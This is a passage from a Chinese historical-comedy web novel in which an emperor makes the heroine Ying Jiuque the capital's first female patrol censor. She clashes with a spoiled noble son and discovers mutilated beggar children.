直到此刻,部分臣子才反应过来,呃,尴尬了,本来只是想抢个官儿当当,可是一寻摸今年开春以来哭着喊着非要告老还乡的三个巡城御史,心里就有点儿不是滋味。这也不能把自家子弟往火坑里推啊。 见众人都不再吭声,景泰帝叹了口气,看起来相当头疼。 “朕也是为难啊。之前的巡城御史,大牙都掉了两颗,说是走在路上不小心摔得。朕也想知道,这京城的路就那么难走?让一连三个巡城御史都摔得头破血流?朕倒是想从众卿家里找个得用的去当这个巡城御史,只是卿家们都上了年岁,要是不小心磕绊几下,可不像那些小年轻们,能活蹦乱跳的。朕也是为你们考虑啊……” 户部尚书扯了扯嘴角,看着旁边的御史中丞那激动到险些晕过去恨不得为自家君王抛头颅洒热血的模样,只觉得陛下这些年忽悠人的功夫是越来越厉害了。御史中丞都五六十岁的人了,可别一不留神厥过去。 总之,不管大家心里是怎么想的,陛下都这么为自己考虑了,他们也不能继续掰扯啊,不然显得太过分了些。 “不过,既然诸位这般忠君,愿为朕分忧,倒是为朕省去了麻烦,毕竟九阙那孩子还不想当这个巡城御史。她小孩子家家,难免娇气了些,也爱漂亮,说是巡城会把她晒黑,不情愿的很。正好,李卿,朕记得你家三儿子今年刚好弱冠,已经考了举人吧?反正现在还没授官,不如先让他当个巡城御史?年轻人嘛,总得多些历练。” 户部尚书脑门上顿时多了一层细汗。他家老三从小身子骨就不太硬朗,可是家里老太太的心肝宝贝儿,平日里千娇百宠的养大,要是让他去做那什么巡城御史,他还不得被自家老太太给锤死? 而且他家老三可是家里最有出息的孩子,巡城御史不过是个区区六品小官,提前做了官,以后再想会试可怎么办?他还想让老三通过正经的科举出身,进那清贵无比的翰林院呢!再说了,他家里本来也没有子弟需要安排,纯属过来看热闹的,可不要殃及池鱼啊! “陛下!承蒙陛下厚爱,可犬子实在不争气,前些时日病了一场,还躺在床上下不来呢,实在不能去巡街,辜负了陛下的好意,臣有罪。” 第二十五章 老皇帝怀念白月光 “是吗?那可太遗憾了。” 景泰帝紧接着又点了几个名字,毫无意外的都被拒绝了。本来他只是想臊一臊这些个大臣们,可后来是真生气了。这些人,只知道为自己谋取利益,却根本不想做一些实事。 可是在点破之前,他们就算自己不想要这个职位,也不想让九阙得到。 景泰帝没有像今天这么清晰的明白,这些满朝堂的臣子心里装着的是他们自己的私利。 “既然你们都不愿意,为何还要劝阻?!行了!别说这么多没用的,既然你们不愿意让自家子弟去做这个巡城御史,那就你们自己上!我看你们还年轻的很,巡个城而已,又死不了!” 底下众人大惊,他们只是习惯性的反抗一二,可没有真的抛下自己的大好前途不要去当个六品芝麻小官的意思。 于是这些人又开始了极限表演,身体不好,腿脚不好,甚至老父母身体不好这样的都拿出来说了。景泰帝懒得听他们互相推诿,最后还是户部尚书机灵,很是明智的表示自己相当愿意应县主做巡城御史,这满京城,没有比应九阙更合适的人了。 这下,自己的友军都背叛了,他们还有什么好说的,自然只能纷纷‘欢喜’的表示,他们很愿意应九阙抛头露面去做官。 景泰帝却不太想放过他们,尤其是,礼部尚书那个傻蛋还提出要给余朗一个妥帖的身后事,他本来就已经忍了很长时间,这下更是直接爆发! “行啊!顺便把他活着的时候画的那些画也给一并陪葬了。反正你们娇养着的女儿孙女儿外孙女儿甚至你们老娘都不会抛头露面,外人也不认识,自然也不会伤到她们的清誉。” 这,这是什么意思? 几人有些慌乱,当从九福口中大概得知余朗做了什么时候,这些个刚刚还尽显同僚情谊的大臣们顿时爆发了。 “碎尸万段!必须碎尸万段!这样的人,还配称得上读书人吗?简直侮辱了圣贤书!” “如此污秽之人,怎能站在朝堂之上做天下读书人的表率?!陛下,还请陛下下旨,将其挫骨扬灰!” “……” 景泰帝冷漠的挥手让这些人下去,看他们急得抓耳挠腮的,就是不肯再见,以至于众人就算端着庄重威严的表情出宫,心里也很是不舒服。甚至开始担心这事儿会不会外传了。 陛下也真是的,怎么之前一直不肯将这些事告诉他们?要是早知道余朗是这样的人,他们怎么也得踩上几脚,叫他声名尽毁才是。 而留在养身殿的景泰帝也在默默运气。 “别的皇帝夺了天下,那都是朝中大臣文武配合得当,尽是些为天下百姓着想的好官儿!为什么朕的朝堂之上,尽是些汲汲营营小人!” “要是他没有自焚,现如今的朝堂决计不是这样!” 一边的九福默契的当自己是个聋子,什么都听不到。他听不到当今陛下用一种惋惜的语气怀念前朝破灭之际守城无望而自裁的裴相,以及那些随之而去的肱骨大臣们,也听不到陛下对如今朝中大臣们的吐槽,他只是个尽职尽责的聋子。 “末帝那样残暴不仁的人,都能有裴相那样的人物为他殚精竭虑,甚至最后不惜自焚相随。可我看如今朝中这些大臣,就算我现在嘎嘣病的要死,他们想的也是如何扶持下一任皇帝登基,而不是费心思救我。” 景泰帝越说越生气,连自称都忘了,紧接着又开启了一连串的抱怨,对此,九福已经习惯了,陛下也只是抱怨一阵,很快就又好了。 果然,片刻之后景泰帝就已经安慰好自己,甚至哼哼直笑。 “不过你看到他们刚刚那脸色没?难看的要死!活该!哼哼,对了,给九阙一份正式的任命,朕得让全天下的人都看看,只要好好为朕做事,就有这样的好处!裴相不愿意跟随朕,可朕现在坐拥四海,全天下的英才尽入囊中。朕就不信,不能把这个天下治理的更好!” 九福笑眯眯的带着任命下去,于是九阙就成了史无前例的第一位女巡城御史。 甚至连拒绝的话都不好说出口了,陛下直接送了套马车,连配套的马都送来了,是匹很精神的小母马,雪白雪白的,很漂亮。 九福在一边笑眯眯的表示。 “这匹马可是陛下爱马追云的后代,血统优良,虽年纪尚小,但亦有成为千里马的品质。就连宫中几位皇子相求,陛下都没应允呢。” 言下之意就是这匹马也是陛下对她的看重。 九阙十分诚恳的表达了对陛下的谢意,然后就不情不愿的走马上任了。 不过在上任之前,她还参加了一个小小的聚会。那是辛探花组织的,特意邀请了九阙和淳于霜几个,就连魏渊都有些惊讶,这位文人中的文人,堂堂探花郎,竟然会愿意邀请他一个名声不好的太监义子,陛下鹰犬。 来参加的还有余朗那九位外室。拂柳她们因为辛探花的不举告也没受什么苦,甚至连那些罚钱也由辛探花交了。 辛探花作为余朗唯一的子嗣,接收了他这些年的所有银钱庄铺,也算小富一把。不过他没打算要,除了给这些无辜可怜的女子赎罪用了之外,剩下的都给她们分了。 这世道对女子本来就苛责,她们还做过余朗的外室,日子不会太好过,但不管怎么过,都需要银钱。只要有钱,就能过得很好。 芸娘有些羞愧。 “辛大人,真不用,我们有手有脚,能养活自己。倒是您,要去并州那么远的地方,穷家富路,还是多带些银钱才好。而且,我们本来也没有资格要这些钱……” 说着说着,芸娘她们有些羞愧。她们还想着杀了人家父亲,又怎么能舔着脸抢夺这些钱? 可辛探花是真的一点儿都不介意。 “说真的,我其实根本不想跟余朗有丁点关系,这些钱你们不要,官府也会收回,还不如给你们。就当做是对你们的补偿,我知道余朗那狗东西对你们不好,花光他的钱,这不是理所应当?” 第二十六章 倒霉的纨绔们 辛探花相当真诚,芸娘几个见状也不好拒绝了,收下对方的馈赠,彼此相视一笑,一时间气氛都更好了。 说实话,辛探花当真是个十分洒脱之人,说不认余朗,就真的没有再见他一面。甚至都没有为他收尸,只是请人将他随便找了个地儿用草席一裹埋了。 他这样做,自然有很多自诩道德先锋的人十分不满,毕竟如今大家都讲究一个死后哀荣,可不满又如何,再多的谩骂讥讽,辛探花就当自己听不到。且,就连那些大人们都只是睁一只眼闭一只眼,其他人等,权当是清风拂面,听了就过了。 反正出了余朗这事儿,他再在京城待着也不舒服,干脆借机谋了个外差,且很快就要离开这是非之地,等过几年,这事儿淡了,说不定还会回来。因此今天这宴会,也是分别宴席。 说起来人生真是神奇,明明在此之前他们是群没有分毫交集反的陌生人,却因为一个恶心的家伙凑到一起,偏偏他们对彼此的印象还挺好。 辛探花现在身上也没了那种愤世嫉俗的气质,整个人温润的很,像个读书人了,这会儿还特意给九阙道喜。 “听说陛下认命县主做巡城御史?县主需要帮忙吗?我这里有那些惹不起的人物家里不太争气的子孙名单,给您一份?” “那就太好了。” 其实九阙之前也只是见了辛探花寥寥几面而已,但或许是真的投缘,这会儿再见,只觉得说起话来格外顺遂。 至于这名单,应九阙现在还真是十分需要。只是,她有点儿疑惑啊,她来京城也好几天了,也没少出去过,似乎也没见过那些太过分的纨绔,怎么还真有那种把人家公职人员打掉牙的傻缺啊!当今陛下可不是软柿子,你惹的事儿小了他当没看见,要是太过分,不怕连累家中大人? 关于这点,辛探花倒是可以解释,毕竟他也只是出身寻常,和那些世家大族权贵子弟没法比的,只是因为年少成名,还当了探花,不少聚会还是会邀请他。 想到曾经见过的那些奢侈到超乎想象的场景,辛探花露出个复杂的笑容。 “其实,我也不怕县主笑话,以前,我真的很厌恶那些世家大族出身的子弟,因为潜意识里,他们好像就压了我一头。他们生来就享有的,我拼尽全力才能得到。可后来我才发现,我那不是厌恶,我是羡慕嫉妒。” “因为正经世家大族出身的子弟,自小一言一行一举一动都会被精心培养,还真不会做这种横行霸道殴打朝廷命官的蠢事儿。毕竟他们那种出身的人,就算忌惮某个人,也只会不动声色摁下去,不会让别人察觉。真正会出手打人的,咳。” 辛探花轻咳几声,有些难以启齿,但最后还是悄悄说给九阙听了。 “是那些骤然转变身份的权贵子弟。你知道的,就算他们的长辈个个人中龙凤,也禁不住有些子孙天生愚钝,再加上家中疼宠,一朝飞上梧桐枝头,难免会出来几个被别人当枪使的蠢货。” “哦~” 九阙恍然。怪不得老皇帝让她当巡城御史呢,原来是自己以前那些老兄弟老部下们闯下的祸,自己碍于情面解决不了,只能寄托在外人身上啊。偏偏自己照这个‘外人’身份比较特殊,勉强算是半个宗室。 嘶,听辛探花的意思,那些个纨绔子弟都拽得很,要不然也不会做出当街打人的举动。他们不会来打自己吧? 这么一想,竟然有些蠢蠢,不是,跃跃欲试啊。 其实,九阙也想不到,那些个纨绔们此刻正在被耳提面命别得罪她这位新上任的官儿呢。明明应九阙只是个区区异姓县主,陛下赏脸担了个六品芝麻官,怎么当爹当爷爷的,就这么严肃? 刚刚还挨了板子的某纨绔十分不忿。 “爹!那不就是个野丫头吗?要不是走了狗屎运救了陛下,现在还不知道在哪个庄子上待着长毛呢!您用得着那么怕她?您和陛下可是过命的交情,一个黄毛丫头罢了,怕个屁啊!” “你这逆子!欠打!” 于是乎,该纨绔又挨了一顿热乎的,最后还是自家亲娘过来拯救了他岌岌可危的屁股。 该纨绔爹没法子,只能扔下棍子,丢下一句“慈母多败儿”,然后一字一顿的分析陛下的意思。 “你们以为陛下只是一时兴起吗?错!大错特错!陛下这是给我们这些老家伙提醒啊!之前那些酸溜溜的文官不管再怎么说酸话,那也只是白费唾沫星子。但你们这群小混蛋真是做的过了。你们觉得那巡城御史位卑职小,但那也是正正经经科举考出来的文官,一次两次陛下不在意,但若是继续拿着之前的人情做耗,再多的情分也经不起这样磋磨!” “等到这情分用尽的时候,就是我们全家抹脖子等死的时候!” “这,老爷说的太吓人了吧?陛下不是那样的人啊?” “总之就一句话,你这几天把皮给我绷紧了,要是出了岔子,别怪你老子我家法伺候!” 除了这种言语沟通无效直接动手的,还有另辟蹊径的路子。 另外一位纨绔的亲爷爷想法尤为奇特。 “陛下这般看重那应九阙,说不得那女娃的身世还有些说头……说起来,咱们家老四也十七了吧,该说人家了。” 要是能将那应九阙娶回家,家里不就多了一个县主出身的孙媳妇?这可是莫大的荣耀啊!且,应九阙可是对陛下有救驾之恩的,届时让她带着自家四孙儿去御前露露脸,这前程不就有了? 至于这官职,女人嘛,总是要嫁人的。嫁人之后还当什么官儿啊,看看那刑部司务淳于霜,好好一姑娘家,非得在男人窝里打转,蹉跎了年华不说,现在哪家好儿郎敢娶她哟? 只是,得到这个消息的纨绔却如遭雷劈! 那应九阙别的他不清楚,可是一板砖拍碎刺客脑门的事迹满京城谁不知道?他娶的是媳妇儿,又不是金刚罗刹!这要是真娶回家,他哪儿还有脸面在外头混呢! 这不行,得琢磨个主意叫祖父打消这个念头。只是这一琢磨,给自己琢磨出了个要命的主意。 第二十七章 挑事儿 其实,九阙第一天上班还是挺开心的,毕竟陛下送了她那么漂亮的马车,关键是那匹小母马,可乖巧听话了,相当有灵性,总是跟在自己身边,对其他人那叫一个不屑一顾,怪不得连皇子们都想要,好马就是出众。 不过她没学过骑马,第一天没骑,也不舍得让小母马拉车,于是干脆自己牵着它在街上溜达。第一次出街,毕竟是六品官,身边还配了两个小官吏。这两个小官倒是相当自觉,并没有尝试给新官上任的九阙找点儿事儿,反而十分配合她的工作。 没办法,上任巡城御史大人哭天喊地的跑了,总得有人接任吧?而且,有个个儿高的在上面顶着,他们这些小鱼小虾的不就更安全了? 穿着六品官袍在街上闲逛,九阙顺便收获了一众稀奇的视线,一个女子在外面行走不稀奇,但对方若是穿着朝廷正经的六品官服,身边还有官吏追随,这就奇了。 “老伯,这糖葫芦多少钱?” “噢?哦哦,两文钱一串。” 九阙爽快的买了三串,分给身后两个小官一人一串,也不顾他们为难的模样,自己高高兴兴的咬了一颗,吃的津津有味。 倒是那卖糖葫芦的老伯犹豫再三,还是忍不住小声劝。 “女娃娃,你怎么穿着这巡城御史的衣裳?难道你也是官儿?” “我是啊,怎么了老伯?” “那,那啥,我劝你还是赶紧回家去吧。这又不是你能干的活,那些个公子哥们可不是好相与的,你一个漂漂亮亮的姑娘家,要是被人家欺负了,都没处说理去。” 老伯这可是肺腑之言,九阙感激的谢过,然后走开了。老板看着不听劝的九阙,忍不住再三叹气。 谁曾想说曹操曹操到,就这么片刻功夫,一群气势非凡的公子哥儿们就跟了上来,沿途还顺手揪住路过的百姓询问九阙的踪迹。 应九阙穿的那么显眼,要找到她还真是不费吹灰之力。她正盯着路边一个衣衫破烂的小乞儿看,这小乞儿眼巴巴的看着路过的行人,似乎想要乞讨,但他太胆小了,没敢喊出声,就被不耐烦的行人给推到一边。那小乞儿有些瑟缩,一双黑亮的眼珠子四处逡巡,刚好看见面带笑容的九阙,以及她手里那香气扑鼻的大包子! 对着那小乞儿招了招手,九阙尽量让自己笑的没有威慑力。天可怜见的,她从前可没有见过这么可怜的小乞儿,看起来才五六岁吧,平常人家的孩子都宝贝疙瘩一样被家人捧在手心里,这孩子却只能沿街乞讨,瘦的只剩下一把骨头,只有那双黑亮的眼珠子看起来无辜的很。 这会儿见一个不认识的大姐姐朝着自己招手,小乞儿下意识的咽了口口水想要过去,但又像是想起了什么,有些纠结。 九阙也不觉得无聊,干脆朝着那边走了几步,然后摊开手里装着大包子的油纸包。 “来,给你。别怕,我不是坏人。” 或许是九阙的笑容极具感染力,那小乞儿纠结了会儿,就小心翼翼试探着朝这边走来。 九阙脸上的笑容越来越大,等那孩子刚走到自己身前四五步,就伸长了手臂,好让这孩子尽快吃到包…… 哎? “好你个巡城御史!怎么?真以为自己是个什么大官了?!不过就是个走了狗屎运的黄毛丫头,也敢管到小爷头上?哦,这仔细一看,长得还丑!还吃这路边的东西呢,怪不得是从庄子里出来的,肯定没有来过京城这么繁华的地方吧?寒酸的很!” “……” 看着已经瑟缩回去的小乞儿,以及被打翻在地沾染了灰尘不再干净白胖的包子,九阙深吸一口气,站直了身子,回头看向那挑事儿的公子哥儿。 那是一个穿着天蓝色长袍的年轻男子,不是九阙说,天蓝这颜色,颜值高的人穿上那叫一个赏心悦目,长得丑的人穿上,也就只能夸一夸这衣裳料子不错了。对面那鼻孔插大葱的傻缺就是如此,这会儿拽的二五八万的,见应九阙看自己,还特意挺了挺胸膛,表示自己身份尊贵,等着应九阙给他见礼呢! 应九阙仔仔细细上上下下打量了好一番,确定自己的记忆库里没有这人的资料,十分不耐。 “你谁?” “你!你简直无礼!我可是安远伯的第三子,你敢对我无礼?” 九阙真是很久都没有意见这么傻缺之人了,尤其是回头发现那两个本来应该跟在自己身后的官吏不见了的时候,更是不爽。 “哦,所以你是世子?” “我,我当然不是!我大哥才是。” 小公子气的脸都红了,身边跟着的同龄公子哥们此刻都忍不住喷笑出声,就魏三这样的,还世子呢,真世子过来骂他几句都是轻的。 “本朝律法,公侯伯爵诸子之中,只有世子才能享有次一等待遇。所以,你既不是世子,也不是安远伯本人,无官无爵无职,本官乃陛下亲封六品巡城御史。你一白衣,到底是你该向本官行礼,还是本官给你行礼?” “你!你!” “本官劝你还是想清楚了再作答。本官不才,但也是有朝廷正式任命的六品官!你当街阻拦本官执行公务,阻碍公家办事,判你一个寻衅滋事之罪,还是可以的。” “你敢?!” 安远伯三子气的脸都红了,但又有些忌惮。自己难道真的犯罪了? “本官有什么不敢?当然了,这也只是件小事儿,不值当让陛下知道。” “本公子就知道你不敢……” 听到这里,周围那些原本以为终于等来一个敢担事儿巡城御史的百姓们眼神都黯淡下去。看来这些当官的都是一家的,不管男女都一样。 谁想到下一刻,应九阙十分淡然的甩了甩衣袖。 “那本官就只好参安远伯一个教子不严之罪了。子不教,父之过。连自己的儿子都管教不好,本官怀疑安远伯是否可以做好自己的差事。西郊大营那一万护城军在这样的人手里,本官身为京城百姓,怎不担心自己的身家性命?” “你!” 那小纨绔脸都白了。他也就是仗着自己亲爹驻守西郊不在家出来享受享受横行霸道的滋味。要是这该死的应九阙真把折子呈上去,自己绝对会被当爹的打死!毕竟这时代,当爹的打儿子,那是最正常不过了。下雨天打孩子,闲着也是闲着嘛。 第二十八章 那你去告吧 就连那些原本只是看笑话的纨绔们这会儿表情也有些僵硬。不是吧,他们只是觉得应九阙一个女子不乖乖在家相夫教子,居然做什么巡城御史,且十分明显就是对着他们来的,想给她一点儿教训而已,可没有想过要被家里打断腿啊! 要是应九阙真上折子告状,他们的腿能不能好端端长在自己身上就不一定了。 不过,这法子倒也不是只有应九阙想过,之前几位巡城御史都想过,只是他们没敢那么做罢了。毕竟,他们还是想继续为大景朝当牛做马呢!这些个纨绔,他们惹得起本人,不一定惹得起他们当官的长辈啊。 但应九阙可不管这些,她救了老皇帝,等于有了一面免死金牌,只要不作大死,老皇帝总会保住她的命。再说了,就算到时候老皇帝当真翻脸不认人,难道她就不能跑吗?世界那么大,她早就想去看看了。说什么普天之下莫非王土,她可以坐船出海啊! 嗯,说实话现在是不是得找一找靠谱的船队了? 就在双方僵持的时候,周围有围观的娃娃忍不住发出一声哭腔,惊醒了那找茬的小纨绔。只是当着这么多人的面,要他对着一个看不起的女子低头,那可真是要了他的命。 “你给小爷等着!小爷行不更名坐不改姓,杨林源是也!你可别诓小爷,小爷懂得比你多,只要小爷不违法乱纪,只是跟你说几句话而已,难道你还能把我抓起来?哼哼哼,那不能够!” 还以为这位威武的三少爷能说出什么叫人闻风丧胆的话呢,没想到就这?应九阙觉得十分无趣,只是这位杨林源的下一句话可就叫她茫然了! “就你这样的女人,小爷我就算一辈子不成亲也不会娶你!你就等着当尼姑去吧!” “……你说什么?” 应九阙的表情实在称不上好看,如果之前她还像个笑面虎一样笑眯眯的,用那张无辜的脸说出威胁的话,那么此刻她就像个玉面修罗一般。吓得杨林源即将出口的侮辱全给咽回肚子里去了。 只是环顾四周,那么多人都看着呢,不仅有平民百姓,还有自己平日里一块儿呼风唤雨的兄弟们。他要是在此时此刻漏了怂,岂不是得被人嘲笑一辈子? “小爷说了,小爷一辈子不成亲都不会娶你这个母夜叉!这回听清了吧?” 深吸一口气,虽说应九阙从不在意名声这种笑掉大牙的东西,可是被一个连面都没见过的纨绔公子哥当面说出这样侮辱的话,她还是有些心绪难平。 不是哥们儿,你算哪根葱啊?就算嫌弃应该是我嫌弃你吧,你还挑上了。喝了二两酒就不知道花生米什么样了是吧? 低头左右看了看,实在没发现趁手的武器,也怪这扫大街的,怎么那么勤快,把整条街扫的一尘不染,连个石头都找不到。干脆直接解下了自己的钱袋子。得感谢出门之前担心遇到心仪的东西买不到,特意换了一大把铜钱加碎银子,这会儿拎在手里沉甸甸的。 甩着那个沉甸甸的香囊,九阙露出个温柔的笑容。 “杨公子,我突然发现自己做错了一件事。” “什么事?” 不得不说应九阙这张脸还是极有迷惑性的,这会儿笑眯眯的样子看起来相当养眼,别的不说就说那个傻蛋杨公子,这会儿眼睛都看直了。 嗯,虽然这个应九阙看起来像是个不安于世的,但长得还真是不错,如果她识相点儿,自己也不是不能把她收个房…… 正想入非非的杨公子突然听到一阵破空声,紧接着就觉得自己的面门一阵剧痛,脑袋眩晕,眼前赤橙黄绿青蓝紫,什么色儿都有了。耳边好像还有人在撕心裂肺的喊着什么,可却听的不太真切。 过了好一阵子才模模糊糊的听到自己的贴身小子跟死了爹娘似的哭喊。 “三公子,三少爷,您没事儿吧?您能听到奴才说话吗?哎呦喂不得了了!巡城御史当街打人了!把我家三少爷给打死了!这会儿都不会动了!老爷夫人会杀了我的。不行,你不能走,你是罪魁祸首,你要是走了,我家少爷怎么办?!” 杨林源本来就头痛欲裂,再加上这脑瓜子不太聪明的仆人一阵哭天抹泪的喊,更觉得眼前一片漆黑。他这会儿不仅头疼,更想吐了。 “呕——” 杨林源刚刚才和自己的兄弟们在人间阁吃了一顿好的,这会儿一阵头晕干呕,直接把刚刚吃的酒菜全部吐了出来。那味道就别提了,难闻的很。 也是直到这个时候他才慢慢醒过来。他被打了,而且打人的还是刚刚还对自己笑靥如花的应九阙! 第二个念头就是,他这辈子除了自己爹,就没人打过自己! 凭什么啊? 杨林源下一个反应就是站起来给她一顿狠的,但自己不争气,硬是没力气站起来。本来想让身边的小厮把他扶起来,可那个蠢货只会哭天抹泪的,一点儿用场都派不上。 应九阙其实也没想过要把对方打死,但她只是轻轻的用手中装满了铜钱的香囊打了对方一下,没想到那个菜鸡应声倒下,鲜血喷涌而出。 “呃,你没死吧?” 杨林源本来已经站起来了,但是听到对方这句话,顿时气的恨不能躺倒在地。这种情况下对方难道不应该关心他一句吗?怎么能问他死了没有? “应九阙!我看你就是故意的,你等着!我要去告御状!” “哦。” 应九阙闲闲的整理了一下自己的衣裙,满不在乎。 “那当然可以,顺便把三公子今天的所作所为也都说出来,好让陛下评评到底是谁的错。我在这儿站的好好的,你突然跳出来不分青红皂白打掉了我手里的包子,而且还对我堂堂六品官说三道四吆五喝六,扰乱公务。一计不成还用言语侮辱,想要毁掉我的名声。” “这些你大可以都说出来,反正我是一点儿都不在意。如果三公子不知道该怎么组织语言,我倒可以帮三公子写一封状纸,保证公平公正,不会从中作梗。” 第二十九章 她拒绝玩这种暧昧! “你!你!” 杨林源嘴唇抖得不像样子,他实在是没想到应九阙竟然能说出这样的话!难道她就不知道一个合格的名门闺秀应该怎么做吗?她不是礼部侍郎的女儿吗?就算亲娘早逝,也应该懂点儿规矩啊。这,这怎么做到一个脏字儿也不带就骂的人头痛欲裂的?简直不是人干事啊! 只是他太生气了,就算想骂几句也不知道该说什么,这会儿手抖得跟筛子似的,叫人看着都担心。 杨林源身边的小厮也是如此,今儿可是他跟着三少爷出来的,要是三少爷出了事儿,夫人老夫人老爷他们不得扒了自己的皮! “少爷,你还好吗?” 杨林源气的都说不出话来了,觉得自己几乎要呕死。就在这时,他旁边的青衣男子眼神微微一闪,发出了高昂的尖叫声。 “怎么回事?杨兄,你还能说话吗?你的那些侍卫呢?都是些死人呐!还不快过来!” 那些侍卫这会儿正被人群拦在外面呢。这些个公子哥们出来耍时最讨厌侍卫小厮们跟着,那不是伺候人的,那是家里长辈的耳报神!稍微做点儿什么都得一五一十的跟家里报备,他们是出来耍的,不是出来给自己找罪受的。 以至于杨林源的侍卫这会儿只能被拥挤的人群拦在外面,听见这喊声,立刻推开碍事儿的百姓挤进去。 “少爷!我们来了少爷!” 刚一挤进来就看见少爷的朋友之一指着对面那个瘦削的人影发出指责,那几个侍卫也没多想,冲上去就要为自己少爷抢回场子。虽说不至于当街打一个女子,但吓唬吓唬人还是可以的嘛。 结果下一刻,最先冲上去想要表功的黑壮侍卫上半身以一个诡异的姿势猛然后倾,顺便还把身后的伙伴们连带着往后摔倒! 以杨林源的视角,只看见那个阴恻恻的女人一抬手,手中沉甸甸的钱袋子就飞了出去,紧接着,自己那个最高壮的侍卫不算高挺的鼻子直接憋下去,两道血箭喷涌而出,在空中划过优美的弧线,然后重重落地。 “……” 杨林源的瞳孔骤然紧缩。苍天呐,他自从懂事以来,见到的女子无一不是温柔贤淑,柔美可人,就算性格豪放些,也不过是爽朗大方,可从来没见过这等一抬手就把人打成这样子的女人! 这还是女人吗? 不仅是他,周围其他纨绔们也都吓傻了,彼此对视一眼,见应九阙往这边走了一步,顿时鸟兽散,把个无力逃跑的杨林源单单留在了这里。 眼见着应九阙离自己越来越近,杨林源害怕的紧闭双眼,双手还在身前挥舞。 “我,我可是安远伯的儿子,你敢动手打我,自己也要吃牢饭!我……” 应九阙怪异的看了他一眼,自顾自的捡起了钱袋子,看见上面的血迹有些嫌弃,顺手撩起旁边杨林源的衣袖擦了擦血渍,然后一根手指头拎着走了。 在应九阙拿袖子擦血迹的时候,杨林源就已经察觉到了,他呆呆的看着近在咫尺的应九阙,原本因为疼痛而略显苍白的脸这会儿陡然浮起一抹薄红,竟显得有些害羞了。 应九阙又不是个瞎子,但她拒绝玩这种不打不相识‘欢喜冤家’之类的戏码,浑身打了个激灵,迅速撤退。 跑了跑了跑了,这不会是个受虐狂吧? 而杨林源看着应九阙跑远的背影,直勾勾的盯着看。看的身边的小厮都以为他中邪了。 “少爷?少爷!咱们赶紧回府吧,万一老爷和世子知道可就惨了。还有小小姐,咱们得去荟萃楼接表小姐和小小姐呢。这要是忘了,回去还得挨骂。” 说着,就搀扶着他家少爷离开。而周围看热闹的百姓这会儿也尽兴散开。这些少爷小姐们的热闹可不是时时都有的,看一场少一场啊。 至于九阙,已经跟着刚才看见的小小身影来到一处僻静的河边。 大景皇朝帝都永安,规模宏大,所住人口超百万,这日常用水就是个大难题,所幸前几任皇帝选帝都的时候经过层层的实地考察,最终选择了永安。永安城外有一条日夜奔腾不息的大河,经过数十年规划,水系四通八达,覆盖整个永安生活所需之地。 正因如此,永安城里各处大小桥梁不少,九阙走向的,就是其中一个无名小桥。 她刚刚看见那个小孩儿走向这边,这会儿怎么看不见了?她刚刚还买了一包新包子,热气腾腾的,肉馅,可香了…… “姐,姐姐,你是在找我吗?” 这时,一个轻微的声音响起,九阙一低头,发现那个孩子竟然从河岸边探出个脑袋来,小心翼翼的看向这边。 这孩子怎么跟个小地鼠似的,说露头就露头啊。 紧走几步过去,九阙直接把包子递过去。 “来来来,刚刚碰见个傻子,别理他,给,吃包子吧,可香了!” 小娃儿咽了口吐沫,一双黑葡萄似的大眼睛紧紧的盯着那袋包子,但却没有直接接受,反而有些犹豫的看着九阙。 这孩子,难道是担心自己下毒吗?谁会闲着没事儿做这种事儿啊!干脆从里面拿了一个,自己咬了一口。这可是乔家包子,干了几十年了,白胖暄软的面皮咬开,里面是滚烫的肉汁,裹着一块儿紧实报团的肉馅儿,肉香味儿扑鼻! 即便刚刚吃了一个,九阙也还是心满意足的一口咬掉小半个。 那小娃娃看的眼睛都直了,但还是有些犹豫。 “姐姐,我能拿一个吗?” 以前也有过这样的叔叔伯伯,他们最喜欢拿个硬饼子逗自己,可逗来逗去,耍的自己团团转,他们却把饼子给拿走了。那时候小娃儿就知道,他们只是想找乐子,不是真的想给自己东西吃。所以得再三询问。 可这个姐姐看起来是个好人,刚刚没能给自己,都追过来了,而且自己也吃了一个,应该不会在里面塞尖利的石子儿碎瓷片之类的的坏东西吧? 九阙顿了下,然后豪爽的表示。 “吃!都是给你的!” 第三十章 我们不能太贪心的…… 小娃儿犹豫再三,可眼里的渴望早就已经出卖了自己,他不停回头看,九阙也不由得顺着视线去看。惊讶的发现,在那桥洞底下冒出一个,两个,三个,一连串小脑袋,起码有五六个,正害怕又渴望的看着这边。 小娃儿细声细气的表示。 “姐姐,我可以给我的伙伴们分一分吗?” “……” 九阙觉得自己的嗓子眼儿好像被什么东西给堵住了,一时间说不出话来。 面前的小娃儿有些着急,但也不敢大声说话,小小声的很。 “姐姐,我们,我们不贪心的,不会再要更多,也不会缠着你,真的不会!” 九阙眼圈儿有点儿红,这孩子,以前也不知道遇见过多少次这样的事情,乖巧到叫人心疼。 把包子往小娃儿那边塞了塞,九阙故作豪爽。 “说给你就是给你了,拿着,想给谁分就给谁分……” 九阙的声音突然转了个调儿,猛然落下,因为她看见小娃儿伸出来拿包子的手…… 缺了手指…… 右手从手腕往下消失了,有块儿丑陋的伤疤,左手只有大拇指是,食指也缺了一节,其他三根手指也只剩下短短的,光秃秃的一小节。就像是,就像是被硬生生剁去的时候,不小心砍歪了,侥幸留下来的一样…… 九阙有那么一瞬间热血上头,耳朵一阵嗡鸣,喉咙也像是被什么酸涩的东西堵住一样,痛苦的说不出话来。 “你,你……” “嗯?” 小娃儿艰难的抱住那一包香喷喷的包子,疑惑大姐姐怎么不说话,下一刻,却看见这位好心的大姐姐转过身去……跑走了? 啊…… 小娃儿的眼神有些暗淡,自卑无措的把手往回缩了缩。他不是故意丑丑的手露出来的,他只是太开心了。他已经有好几天都没吃饱饭,肚子现在都不会咕咕叫,里面像是住着一个小怪物一样,他也是强忍着才没有把路边的泥土青草塞进嘴里的。 “小泥巴,那个姐姐怎么走的?她是不是不愿意让我们吃啊?对不起,我们不该凑过来的……” 那几个目露渴望的小孩儿这会儿局促的搓着自己的手,像他们这个年纪的小乞丐,根本抢不到更好的乞讨地点,就算得到了好东西也会被那些更大些的乞丐抢走。 再加上他们都是些身有残疾的,想要靠自己的双手获得食物就更艰难了,更何况还要定时上供。说实话,他们都觉得自己这次大概是撑不过去了,但是没想到会有一个好心的小姐姐抱着一袋热气腾腾,香喷喷的包子追了小泥巴好几条街,就为了把包子给他。 看着大家略显沮丧的眼神,小泥巴连忙摇头。 “不会的,这个姐姐人很好的,而且我们已经有了这么多包子,我们不能太贪心。来,赶紧吃吧,要不然就被别人抢走了。” 大家点点头,伸出手去接包子,但是看到白白胖胖的包子皮和自己黑乎乎的小手,都有些不好意思。连忙就着旁边略显冰凉的河水洗了洗手,然后小心翼翼的捉着包子咬起来。 